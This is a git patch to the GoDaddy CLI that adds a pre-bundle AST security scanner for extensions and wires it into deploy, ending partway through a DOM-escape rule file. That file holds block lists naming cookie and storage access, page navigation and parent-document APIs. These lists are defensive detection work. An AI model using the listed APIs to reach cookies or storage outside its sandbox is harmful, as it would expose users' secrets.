From c0973f5e5ddb7661e5a13447bf5859dcc4fe4d88 Mon Sep 17 00:00:00 2001 From: qcai-godaddy <86305984+qcai-godaddy@users.noreply.github.com> Date: Wed, 12 Aug 2026 12:54:03 -0700 Subject: [PATCH 1/6] fix(extensions): restore pre-bundle AST security scan [DEVEX-710] --- AGENTS.md | 6 +- rust/Cargo.lock | 394 ++++++++++++- rust/Cargo.toml | 7 + .../application/commands/deploy/extensions.rs | 93 ++- rust/src/application/commands/deploy/mod.rs | 9 +- rust/src/extension/mod.rs | 2 +- rust/src/extension/security/alias_builder.rs | 124 ++++ rust/src/extension/security/config.rs | 66 +++ rust/src/extension/security/dom_escape.rs | 528 ++++++++++++++++++ rust/src/extension/security/engine.rs | 368 ++++++++++++ rust/src/extension/security/file_discovery.rs | 59 ++ rust/src/extension/security/mod.rs | 39 +- .../src/extension/security/scripts_scanner.rs | 108 ++++ rust/src/extension/security/source.rs | 368 ++++++++++++ rust/src/extension/security/types.rs | 73 +++ rust/src/extension/security/util.rs | 39 ++ rust/src/extension/types.rs | 4 +- 17 files changed, 2250 insertions(+), 37 deletions(-) create mode 100644 rust/src/extension/security/alias_builder.rs create mode 100644 rust/src/extension/security/config.rs create mode 100644 rust/src/extension/security/dom_escape.rs create mode 100644 rust/src/extension/security/engine.rs create mode 100644 rust/src/extension/security/file_discovery.rs create mode 100644 rust/src/extension/security/scripts_scanner.rs create mode 100644 rust/src/extension/security/source.rs create mode 100644 rust/src/extension/security/types.rs create mode 100644 rust/src/extension/security/util.rs diff --git a/AGENTS.md b/AGENTS.md index 93050811..9daa562a 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -72,12 +72,16 @@ GoDaddy CLI is a Rust binary (edition 2024) built using: ### Extension security scanner +- Pre-bundle AST scan in `extension/security/` (oxc): SEC001–SEC010, SEC012, plus + SEC011 package scripts (`scan_extension`). - Post-bundle regex scanner in `extension/security/mod.rs` (rule data in `extension/security/rules.rs`). - Rules SEC101–SEC110 ported from the TS scanner; SEC111–SEC115 added in the Rust port with no TS baseline (SEC111/SEC112/SEC115 block, SEC113/SEC114 warn). Uses `fancy-regex` for lookahead support. -- `scan_bundle(content, path) -> Vec`, `is_blocked(findings) -> bool`. +- `scan_extension(dir) -> Result`, `scan_bundle(content, path) -> Vec`, + `is_blocked(findings) -> bool`. +- Deploy runs pre-bundle scan before esbuild, then post-bundle scan on the artifact. ### esbuild dependency diff --git a/rust/Cargo.lock b/rust/Cargo.lock index d33a182f..d92cd989 100644 --- a/rust/Cargo.lock +++ b/rust/Cargo.lock @@ -364,6 +364,16 @@ dependencies = [ "piper", ] +[[package]] +name = "bstr" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6bb31b46c14244e20ee9984b11bf5c992b91fb6939fea616e3512c8baecdbe5f" +dependencies = [ + "memchr", + "serde_core", +] + [[package]] name = "bumpalo" version = "3.20.3" @@ -385,6 +395,15 @@ dependencies = [ "serde", ] +[[package]] +name = "castaway" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dec551ab6e7578819132c713a93c022a05d60159dc86e7a7050223577484c55a" +dependencies = [ + "rustversion", +] + [[package]] name = "cbc" version = "0.1.2" @@ -557,6 +576,19 @@ version = "1.0.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1d07550c9036bf2ae0c684c4297d503f838287c83c53686d05370d0e139ae570" +[[package]] +name = "compact_str" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "79fcda08c33bb58b97008b2cdada6622500e949e060f5913361763121abd2416" +dependencies = [ + "castaway", + "cfg-if", + "itoa", + "static_assertions", + "zmij", +] + [[package]] name = "concurrent-queue" version = "2.5.0" @@ -610,6 +642,12 @@ version = "0.8.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" +[[package]] +name = "cow-utils" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "417bef24afe1460300965a25ff4a24b8b45ad011948302ec221e8a0a81eb2c79" + [[package]] name = "cpufeatures" version = "0.2.17" @@ -891,6 +929,12 @@ dependencies = [ "tokio", ] +[[package]] +name = "dragonbox_ecma" +version = "0.1.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd8e701084c37e7ef62d3f9e453b618130cbc0ef3573847785952a3ac3f746bf" + [[package]] name = "dyn-clone" version = "1.0.20" @@ -1215,6 +1259,19 @@ dependencies = [ "wasm-bindgen", ] +[[package]] +name = "globset" +version = "0.4.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e47d37d2ae4464254884b60ab7071be2b876a9c35b696bd018ddcc76847309cd" +dependencies = [ + "aho-corasick", + "bstr", + "log", + "regex-automata", + "regex-syntax 0.8.11", +] + [[package]] name = "godaddy-cli" version = "0.2.4" @@ -1228,9 +1285,16 @@ dependencies = [ "domains-client", "fancy-regex", "flate2", + "globset", "httpmock", "iso_currency", "open", + "oxc_allocator", + "oxc_ast", + "oxc_ast_visit", + "oxc_parser", + "oxc_span", + "oxc_syntax", "phonenumber", "regex", "reqwest", @@ -1295,6 +1359,9 @@ name = "hashbrown" version = "0.17.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ed5909b6e89a2db4456e54cd5f673791d7eca6732202bbf2a9cc504fe2f9b84a" +dependencies = [ + "allocator-api2", +] [[package]] name = "headers" @@ -1962,6 +2029,12 @@ dependencies = [ "minimal-lexical", ] +[[package]] +name = "nonmax" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "610a5acd306ec67f907abe5567859a3c693fb9886eb1f012ab8f2a47bef3db51" + [[package]] name = "nu-ansi-term" version = "0.50.3" @@ -1977,7 +2050,7 @@ version = "0.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "35bd024e8b2ff75562e5f34e7f4905839deb4b22955ef5e73d2fea1b9813cb23" dependencies = [ - "num-bigint", + "num-bigint 0.4.8", "num-complex", "num-integer", "num-iter", @@ -1995,6 +2068,16 @@ dependencies = [ "num-traits", ] +[[package]] +name = "num-bigint" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93e7820bc0a80a0238e650327316f929ba18d5be054b647490a3a6a339f3e7c0" +dependencies = [ + "num-integer", + "num-traits", +] + [[package]] name = "num-complex" version = "0.4.6" @@ -2029,7 +2112,7 @@ version = "0.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f83d14da390562dca69fc84082e73e548e1ad308d24accdedd2720017cb37824" dependencies = [ - "num-bigint", + "num-bigint 0.4.8", "num-integer", "num-traits", ] @@ -2098,6 +2181,229 @@ dependencies = [ "pin-project-lite", ] +[[package]] +name = "owo-colors" +version = "4.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d211803b9b6b570f68772237e415a029d5a50c65d382910b879fb19d3271f94d" + +[[package]] +name = "oxc-miette" +version = "3.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e0df30faa68797917ca4263e7a2f889ec829e4da2dcb3d6dc752f7a494180f3" +dependencies = [ + "cfg-if", + "memchr", + "owo-colors", + "oxc-miette-derive", + "textwrap", + "thiserror", + "unicode-segmentation", + "unicode-width 0.2.2", +] + +[[package]] +name = "oxc-miette-derive" +version = "3.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "acc072d11d45ebe7801459b4e829184ba0934d68027fdc51d327335b53a95a49" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "oxc_allocator" +version = "0.143.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c603f4ff4617fc04377aa7557396eaa17c77f82e64ffb22947731f75605951f" +dependencies = [ + "allocator-api2", + "hashbrown 0.17.1", + "oxc_data_structures", + "rustc-hash", +] + +[[package]] +name = "oxc_ast" +version = "0.143.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf40d60818cd9ff034774fb371c67d915aa3a6bb0129fdfcb0157a72bda840ff" +dependencies = [ + "bitflags", + "oxc_allocator", + "oxc_ast_macros", + "oxc_data_structures", + "oxc_diagnostics", + "oxc_estree", + "oxc_regular_expression", + "oxc_span", + "oxc_str", + "oxc_syntax", +] + +[[package]] +name = "oxc_ast_macros" +version = "0.143.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dd7135befda5e9fab0d549031bf6c0763966bdf596b5429a74c70f0307fcdf5" +dependencies = [ + "phf", + "proc-macro2", + "quote", + "syn 3.0.3", +] + +[[package]] +name = "oxc_ast_visit" +version = "0.143.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a3e2fe96292c0c8752825d95641696be3252be8ddd32a161257cf03874468884" +dependencies = [ + "oxc_allocator", + "oxc_ast", + "oxc_span", + "oxc_syntax", +] + +[[package]] +name = "oxc_data_structures" +version = "0.143.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd2aa418d3599ef5e9880d1a359b27bffff242d4a59e0d62ffe08ebf40acdd99" + +[[package]] +name = "oxc_diagnostics" +version = "0.143.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f3cdd1fcc5edb6d4666ffc82f1647d9784aa15338e671434b8c70211dd44cb66" +dependencies = [ + "cow-utils", + "oxc-miette", + "percent-encoding", +] + +[[package]] +name = "oxc_ecmascript" +version = "0.143.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33440685fff66ad5af668cce75130267db8a864938e6433bc264975cd40b2f2c" +dependencies = [ + "dragonbox_ecma", + "itoa", + "num-bigint 0.5.1", + "num-traits", + "oxc_ast", + "oxc_data_structures", + "oxc_span", + "oxc_syntax", +] + +[[package]] +name = "oxc_estree" +version = "0.143.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2267dd438727a1afe72883eb7bf1533511ee713a5ace72cb59ea439f6bc74dca" + +[[package]] +name = "oxc_index" +version = "5.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "191884bee6c3744909a51acc7d78d4ae370d817b25875b10642f632327b6296e" +dependencies = [ + "nonmax", + "serde", +] + +[[package]] +name = "oxc_parser" +version = "0.143.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74f6b2ea4e4b0538aa7925d98af33a68cc246c1a85d5543a9540cde24101c7e2" +dependencies = [ + "bitflags", + "cow-utils", + "memchr", + "num-bigint 0.5.1", + "num-traits", + "oxc_allocator", + "oxc_ast", + "oxc_data_structures", + "oxc_diagnostics", + "oxc_ecmascript", + "oxc_regular_expression", + "oxc_span", + "oxc_str", + "oxc_syntax", + "rustc-hash", + "seq-macro", +] + +[[package]] +name = "oxc_regular_expression" +version = "0.143.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dde40ebbc9bd3d9a35fa67e518197a2ef92da71c6a0b1496eb7443b5014f3fa9" +dependencies = [ + "bitflags", + "oxc_allocator", + "oxc_ast_macros", + "oxc_diagnostics", + "oxc_span", + "oxc_str", + "phf", + "rustc-hash", + "unicode-id-start", +] + +[[package]] +name = "oxc_span" +version = "0.143.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d7e5d38e008df87a3ec92b2c228b8555e6acd56f7befbaff315d4900c3438bb" +dependencies = [ + "compact_str", + "oxc-miette", + "oxc_allocator", + "oxc_ast_macros", + "oxc_estree", + "oxc_str", +] + +[[package]] +name = "oxc_str" +version = "0.143.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "66064b0255f08443382c4b79cf98d0695ad0a40b62644fe3dc232461afd7b941" +dependencies = [ + "compact_str", + "hashbrown 0.17.1", + "oxc_allocator", + "oxc_estree", +] + +[[package]] +name = "oxc_syntax" +version = "0.143.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb571d2462c910943c527d0230064702513c7354a63b107aa6d953e46a0696c1" +dependencies = [ + "bitflags", + "cow-utils", + "dragonbox_ecma", + "nonmax", + "oxc_allocator", + "oxc_ast_macros", + "oxc_estree", + "oxc_index", + "oxc_span", + "oxc_str", + "phf", + "unicode-id-start", +] + [[package]] name = "parking" version = "2.2.1" @@ -2152,6 +2458,49 @@ dependencies = [ "ucd-trie", ] +[[package]] +name = "phf" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "010378780309880b08997fae13be7834dba947d36393bd372f2b1556deb2a2f6" +dependencies = [ + "phf_macros", + "phf_shared", + "serde", +] + +[[package]] +name = "phf_generator" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aeb62e0959d5a1bebc965f4d15d9e2b7cea002b6b0f5ba8cde6cc26738467100" +dependencies = [ + "fastrand", + "phf_shared", +] + +[[package]] +name = "phf_macros" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5fa8d0ca26d424d27630da600c6624696e7dec8bf7b3b492b383c5dc49e5e085" +dependencies = [ + "phf_generator", + "phf_shared", + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "phf_shared" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c6fd9027e2d9319be6349febd1db4e8d02aa544921200c9b777720ac34a3aa89" +dependencies = [ + "siphasher", +] + [[package]] name = "phonenumber" version = "0.3.10+9.0.33" @@ -2867,6 +3216,12 @@ dependencies = [ "serde_core", ] +[[package]] +name = "seq-macro" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bc711410fbe7399f390ca1c3b60ad0f53f80e95c5eb935e52268a0e2cd49acc" + [[package]] name = "serde" version = "1.0.229" @@ -3088,6 +3443,12 @@ version = "2.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bbbb5d9659141646ae647b42fe094daf6c6192d1620870b449d9557f748b2daa" +[[package]] +name = "siphasher" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ee5873ec9cce0195efcb7a4e9507a04cd49aec9c83d0389df45b1ef7ba2e649" + [[package]] name = "slab" version = "0.4.12" @@ -3110,6 +3471,12 @@ version = "1.15.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8ed6a63f02c8539c91a8685a86f4099661ba3da017932f6ebbea6de3f0fa7c90" +[[package]] +name = "smawk" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e8e2fb0f499abb4d162f2bedad68f5ef91a1682b5a03596ddb67efd37768d100" + [[package]] name = "socket2" version = "0.6.5" @@ -3276,6 +3643,17 @@ dependencies = [ "unicode-width 0.1.14", ] +[[package]] +name = "textwrap" +version = "0.16.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c13547615a44dc9c452a8a534638acdf07120d4b6847c8178705da06306a3057" +dependencies = [ + "smawk", + "unicode-linebreak", + "unicode-width 0.2.2", +] + [[package]] name = "thiserror" version = "2.0.19" @@ -3667,12 +4045,24 @@ version = "2.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dbc4bc3a9f746d862c45cb89d705aa10f187bb96c76001afab07a0d35ce60142" +[[package]] +name = "unicode-id-start" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "81b79ad29b5e19de4260020f8919b443b2ef0277d242ce532ec7b7a2cc8b6007" + [[package]] name = "unicode-ident" version = "1.0.24" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" +[[package]] +name = "unicode-linebreak" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b09c83c3c29d37506a3e260c08c03743a6bb66a9cd432c6934ab501a190571f" + [[package]] name = "unicode-segmentation" version = "1.13.3" diff --git a/rust/Cargo.toml b/rust/Cargo.toml index a4272027..a5c42c72 100644 --- a/rust/Cargo.toml +++ b/rust/Cargo.toml @@ -25,7 +25,14 @@ dirs = "6" domains-client = { path = "domains-client" } fancy-regex = "0.14" flate2 = { version = "1.1.9", default-features = false, features = ["rust_backend"] } +globset = "0.4" open = "5" +oxc_allocator = "0.143" +oxc_ast = "0.143" +oxc_ast_visit = "0.143" +oxc_parser = "0.143" +oxc_span = "0.143" +oxc_syntax = "0.143" phonenumber = "0.3" regex = { version = "1", features = ["std"] } reqwest = { version = "0.12", default-features = false, features = ["json", "multipart", "rustls-tls"] } diff --git a/rust/src/application/commands/deploy/extensions.rs b/rust/src/application/commands/deploy/extensions.rs index fa6c9d79..b29d7993 100644 --- a/rust/src/application/commands/deploy/extensions.rs +++ b/rust/src/application/commands/deploy/extensions.rs @@ -84,6 +84,29 @@ fn upload_completed_event( event } +fn format_security_findings(findings: &[crate::extension::Finding]) -> String { + findings + .iter() + .filter(|f| f.severity == crate::extension::Severity::Block) + .map(|f| { + let loc = if f.col > 0 { + format!("{}:{}:{}", f.file, f.line, f.col) + } else { + format!("{}:{}", f.file, f.line) + }; + if f.snippet.is_empty() { + format!(" {} ({}): {}", f.rule_id, loc, f.message) + } else { + format!( + " {} ({}): {}\n > {}", + f.rule_id, loc, f.message, f.snippet + ) + } + }) + .collect::>() + .join("\n") +} + pub(super) struct DeployExtensionArgs<'a> { pub(super) application_id: &'a str, pub(super) release_id: &'a str, @@ -109,6 +132,52 @@ pub(super) async fn deploy_extension( let ext_name = &ext.name; let ext_type = ext.ext_type; + let repo_root = crate::extension::repo_root_from_cwd(); + let (ext_dir, source) = + crate::extension::resolve_extension_paths(&repo_root, &ext.handle, &ext.source, ext_name) + .map_err(super::super::validation_err)?; + crate::extension::require_extension_source_file(ext.handle.as_str(), ext_name, &source) + .map_err(super::super::validation_err)?; + + // ---- Pre-bundle AST security scan (SEC001–SEC012 + SEC011) ---- + sender + .send(json!({ + "type": "progress", + "name": "scan.prebundle", + "status": "started", + "extensionName": ext_name, + "extensionDir": ext_dir.display().to_string(), + })) + .await; + + let pre_report = crate::extension::scan_extension(&ext_dir).map_err(|e| { + crate::error::GddyError::security(format!( + "pre-bundle security scan failed for '{ext_name}': {e}" + )) + .into_cli_error() + })?; + + sender + .send(json!({ + "type": "progress", + "name": "scan.prebundle", + "status": "completed", + "extensionName": ext_name, + "totalFindings": pre_report.summary.total, + "blockedFindings": pre_report.summary.block, + "warnings": pre_report.summary.warn, + "scannedFiles": pre_report.scanned_files, + })) + .await; + + if pre_report.blocked { + return Err(crate::error::GddyError::security(format!( + "pre-bundle security scan blocked deployment of '{ext_name}':\n{}", + format_security_findings(&pre_report.findings) + )) + .into_cli_error()); + } + // ---- Bundle ---- sender .send(json!({ @@ -120,12 +189,6 @@ pub(super) async fn deploy_extension( })) .await; - let repo_root = crate::extension::repo_root_from_cwd(); - let (ext_dir, source) = - crate::extension::resolve_extension_paths(&repo_root, &ext.handle, &ext.source, ext_name) - .map_err(super::super::validation_err)?; - crate::extension::require_extension_source_file(ext.handle.as_str(), ext_name, &source) - .map_err(super::super::validation_err)?; let bundle = crate::extension::bundle_extension( &source, ext_type, @@ -156,7 +219,7 @@ pub(super) async fn deploy_extension( })) .await; - // ---- Security scan ---- + // ---- Post-bundle regex security scan ---- sender .send(json!({ "type": "progress", @@ -172,23 +235,9 @@ pub(super) async fn deploy_extension( let findings = crate::extension::scan_bundle(&content, source_display); if crate::extension::is_blocked(&findings) { - let blocked_msgs: Vec = findings - .iter() - .filter(|f| f.severity == crate::extension::Severity::Block) - .map(|f| { - if f.snippet.is_empty() { - format!(" {} ({}:{}): {}", f.rule_id, f.file, f.line, f.message) - } else { - format!( - " {} ({}:{}): {}\n > {}", - f.rule_id, f.file, f.line, f.message, f.snippet - ) - } - }) - .collect(); return Err(crate::error::GddyError::security(format!( "security scan blocked deployment of '{ext_name}':\n{}", - blocked_msgs.join("\n") + format_security_findings(&findings) )) .into_cli_error()); } diff --git a/rust/src/application/commands/deploy/mod.rs b/rust/src/application/commands/deploy/mod.rs index e84515aa..dbdf8319 100644 --- a/rust/src/application/commands/deploy/mod.rs +++ b/rust/src/application/commands/deploy/mod.rs @@ -116,10 +116,11 @@ pub(super) fn command() -> RuntimeCommandSpec { ) .with_long( "Read godaddy.toml from the current directory, bundle all declared \ - extensions with esbuild, run the security scanner (rules \ - SEC101–SEC115) on each bundle, then upload the artifacts to the \ - latest release of the named application. Progress is streamed as \ - JSON events. A release must exist before deploying; create one with \ + extensions with esbuild, run the pre-bundle AST security scanner \ + (SEC001–SEC012) and the post-bundle regex scanner (SEC101–SEC115) \ + on each extension, then upload the artifacts to the latest release \ + of the named application. Progress is streamed as JSON events. A \ + release must exist before deploying; create one with \ `gddy platform app release`.", ) .with_system("applications") diff --git a/rust/src/extension/mod.rs b/rust/src/extension/mod.rs index e98f6655..caafc4df 100644 --- a/rust/src/extension/mod.rs +++ b/rust/src/extension/mod.rs @@ -10,7 +10,7 @@ pub(crate) use sandbox::{ normalize_extension_source_for_config, repo_root_from_cwd, require_extension_source_file, resolve_extension_paths, }; -pub use security::{is_blocked, scan_bundle}; +pub use security::{is_blocked, scan_bundle, scan_extension}; pub use types::{BundleCleanup, BundleOptions, ExtensionType, Severity}; // `BundleResult` and `Finding` are part of the module's public surface (returned // from `bundle_extension` / `scan_bundle`) but no caller currently names them via diff --git a/rust/src/extension/security/alias_builder.rs b/rust/src/extension/security/alias_builder.rs new file mode 100644 index 00000000..52d2a948 --- /dev/null +++ b/rust/src/extension/security/alias_builder.rs @@ -0,0 +1,124 @@ +//! Build module alias maps from an oxc Program (imports + requires). + +use oxc_ast::ast::{ + BindingPattern, Expression, ImportDeclaration, ImportDeclarationSpecifier, Program, + PropertyKey, VariableDeclarator, +}; +use oxc_ast_visit::{Visit, walk}; + +use super::types::AliasMaps; +use super::util::first_string_arg; + +pub fn build_alias_maps<'a>(program: &Program<'a>) -> AliasMaps { + let mut maps = AliasMaps::default(); + let mut visitor = AliasVisitor { maps: &mut maps }; + visitor.visit_program(program); + maps +} + +struct AliasVisitor<'b> { + maps: &'b mut AliasMaps, +} + +impl<'a> Visit<'a> for AliasVisitor<'_> { + fn visit_import_declaration(&mut self, it: &ImportDeclaration<'a>) { + let module = it.source.value.as_str(); + if let Some(specifiers) = &it.specifiers { + for spec in specifiers { + match spec { + ImportDeclarationSpecifier::ImportDefaultSpecifier(s) => { + self.maps + .module_aliases + .entry(module.to_owned()) + .or_default() + .insert(s.local.name.as_str().to_owned()); + } + ImportDeclarationSpecifier::ImportNamespaceSpecifier(s) => { + self.maps + .namespace_aliases + .insert(module.to_owned(), s.local.name.as_str().to_owned()); + } + ImportDeclarationSpecifier::ImportSpecifier(s) => { + let imported = match &s.imported { + oxc_ast::ast::ModuleExportName::IdentifierName(id) => { + id.name.as_str().to_owned() + } + oxc_ast::ast::ModuleExportName::IdentifierReference(id) => { + id.name.as_str().to_owned() + } + oxc_ast::ast::ModuleExportName::StringLiteral(lit) => { + lit.value.as_str().to_owned() + } + }; + let local = s.local.name.as_str().to_owned(); + self.maps + .named_imports + .entry(module.to_owned()) + .or_default() + .insert(imported, local); + } + } + } + } + walk::walk_import_declaration(self, it); + } + + fn visit_variable_declarator(&mut self, it: &VariableDeclarator<'a>) { + if let Some(init) = &it.init + && let Some(module) = require_module_name(init) + { + match &it.id { + BindingPattern::BindingIdentifier(id) => { + self.maps + .module_aliases + .entry(module.to_owned()) + .or_default() + .insert(id.name.as_str().to_owned()); + } + BindingPattern::ObjectPattern(obj) => { + for prop in &obj.properties { + let imported = match &prop.key { + PropertyKey::StaticIdentifier(id) => id.name.as_str().to_owned(), + PropertyKey::StringLiteral(lit) => lit.value.as_str().to_owned(), + _ => continue, + }; + let BindingPattern::BindingIdentifier(local) = &prop.value else { + continue; + }; + self.maps + .named_imports + .entry(module.to_owned()) + .or_default() + .insert(imported, local.name.as_str().to_owned()); + } + } + _ => {} + } + } + walk::walk_variable_declarator(self, it); + } + + fn visit_import_expression(&mut self, it: &oxc_ast::ast::ImportExpression<'a>) { + if let Expression::StringLiteral(lit) = &it.source { + self.maps + .module_aliases + .entry(lit.value.as_str().to_owned()) + .or_default() + .insert("__dynamic__".to_owned()); + } + walk::walk_import_expression(self, it); + } +} + +fn require_module_name<'a>(expr: &Expression<'a>) -> Option<&'a str> { + let Expression::CallExpression(call) = expr else { + return None; + }; + let Expression::Identifier(id) = &call.callee else { + return None; + }; + if id.name.as_str() != "require" { + return None; + } + first_string_arg(call) +} diff --git a/rust/src/extension/security/config.rs b/rust/src/extension/security/config.rs new file mode 100644 index 00000000..b22ee96f --- /dev/null +++ b/rust/src/extension/security/config.rs @@ -0,0 +1,66 @@ +//! Immutable strict security configuration for extension source scans. + +use globset::{Glob, GlobSet, GlobSetBuilder}; + +use super::types::SecurityConfig; + +pub fn security_config() -> SecurityConfig { + SecurityConfig { + trusted_domains: vec!["*.godaddy.com", "godaddy.com", "localhost", "127.0.0.1"], + exclude: vec![ + "**/node_modules/**", + "**/dist/**", + "**/build/**", + "**/__tests__/**", + ], + } +} + +pub fn is_trusted_domain(url_or_domain: &str, config: &SecurityConfig) -> bool { + let domain = extract_domain(url_or_domain); + let normalized = domain.to_ascii_lowercase(); + for pattern in &config.trusted_domains { + let pattern = pattern.to_ascii_lowercase(); + if let Some(base) = pattern.strip_prefix("*.") { + if normalized == base + || normalized + .strip_suffix(base) + .is_some_and(|prefix| prefix.ends_with('.')) + { + return true; + } + } else if normalized == pattern { + return true; + } + } + false +} + +fn extract_domain(url_or_domain: &str) -> String { + if let Ok(url) = url::Url::parse(url_or_domain) { + let host = url.host_str().unwrap_or(""); + if !host.is_empty() { + return host.to_owned(); + } + } + url_or_domain + .split(':') + .next() + .unwrap_or(url_or_domain) + .to_owned() +} + +pub fn exclude_matcher(config: &SecurityConfig) -> GlobSet { + let mut builder = GlobSetBuilder::new(); + for pattern in &config.exclude { + let glob = Glob::new(pattern).expect("valid security exclude glob"); + builder.add(glob); + } + builder.build().expect("valid security exclude globset") +} + +pub fn should_exclude(path: &str, excludes: &GlobSet) -> bool { + let normalized = path.replace('\\', "/"); + let trimmed = normalized.strip_prefix("./").unwrap_or(&normalized); + excludes.is_match(trimmed) +} diff --git a/rust/src/extension/security/dom_escape.rs b/rust/src/extension/security/dom_escape.rs new file mode 100644 index 00000000..54b717bd --- /dev/null +++ b/rust/src/extension/security/dom_escape.rs @@ -0,0 +1,528 @@ +//! SEC012 — DOM escape in UI extension source (ported from TS SEC012-dom-escape.ts). +//! +//! Blocks page-level DOM, storage, and navigation APIs outside the host container. +//! Lexical shadowing uses oxc scope enter/leave hooks plus a binding stack. The host +//! `container` binding matches TS: it is not treated as a free-variable shadow. + +use std::cell::Cell; +use std::collections::HashMap; + +use oxc_ast::ast::{ + BindingPattern, CallExpression, Class, ClassType, ComputedMemberExpression, Expression, + FormalParameter, Function, FunctionType, ImportDeclaration, ImportDeclarationSpecifier, + PropertyKey, StaticMemberExpression, VariableDeclarator, +}; +use oxc_ast_visit::{Visit, walk}; +use oxc_span::Span; +use oxc_syntax::scope::{ScopeFlags, ScopeId}; + +use crate::extension::{Finding, Severity}; + +use super::util::{offset_to_line_col, snippet_at}; + +/// `(object, property)` pairs blocked as member access. +const BLOCKED_GLOBAL_PROPERTIES: &[(&str, &str)] = &[ + ("document", "body"), + ("document", "documentElement"), + ("document", "head"), + ("document", "forms"), + ("document", "images"), + ("document", "links"), + ("document", "scripts"), + ("document", "cookie"), + ("document", "activeElement"), + ("document", "children"), + ("document", "firstElementChild"), + ("window", "document"), + ("window", "location"), + ("globalThis", "document"), + ("globalThis", "location"), + ("location", "href"), + ("location", "assign"), + ("location", "replace"), + ("history", "pushState"), + ("history", "replaceState"), + ("top", "document"), + ("top", "location"), + ("parent", "document"), + ("parent", "location"), + ("Element", "prototype"), + ("Node", "prototype"), + ("container", "ownerDocument"), + ("container", "parentElement"), + ("container", "parentNode"), + ("container", "closest"), +]; + +/// `(object, method)` pairs blocked as calls. +const BLOCKED_GLOBAL_CALLS: &[(&str, &str)] = &[ + ("document", "write"), + ("document", "querySelector"), + ("document", "querySelectorAll"), + ("document", "getElementById"), + ("document", "getElementsByClassName"), + ("document", "getElementsByName"), + ("document", "getElementsByTagName"), + ("document", "getElementsByTagNameNS"), + ("document", "createElement"), + ("document", "createRange"), + ("document", "evaluate"), + ("window", "open"), + ("location", "assign"), + ("location", "replace"), + ("history", "pushState"), + ("history", "replaceState"), + ("container", "closest"), +]; + +/// `(object, mid, method)` nested calls, e.g. `window.document.querySelector`. +const BLOCKED_NESTED_CALLS: &[(&str, &str, &str)] = &[ + ("window", "document", "querySelector"), + ("window", "document", "querySelectorAll"), + ("window", "document", "getElementById"), + ("window", "document", "getElementsByClassName"), + ("window", "document", "getElementsByName"), + ("window", "document", "getElementsByTagName"), + ("window", "document", "getElementsByTagNameNS"), + ("window", "document", "write"), + ("window", "location", "assign"), + ("window", "location", "replace"), + ("globalThis", "document", "querySelector"), + ("globalThis", "document", "querySelectorAll"), + ("globalThis", "document", "getElementById"), + ("globalThis", "document", "write"), + ("globalThis", "location", "assign"), + ("globalThis", "location", "replace"), + ("top", "document", "querySelector"), + ("top", "document", "querySelectorAll"), + ("top", "document", "getElementById"), + ("parent", "document", "querySelector"), + ("parent", "document", "querySelectorAll"), + ("parent", "document", "getElementById"), +]; + +const STORAGE_ROOTS: &[&str] = &["localStorage", "sessionStorage"]; +const BLOCKED_GLOBAL_FUNCTIONS: &[&str] = &["open"]; +const DOCUMENT_OWNER_ROOTS: &[&str] = &["window", "globalThis", "top", "parent"]; + +const ALIASABLE_GLOBAL_ROOTS: &[&str] = &[ + "window", + "globalThis", + "document", + "location", + "history", + "top", + "parent", + "Element", + "Node", + "container", + 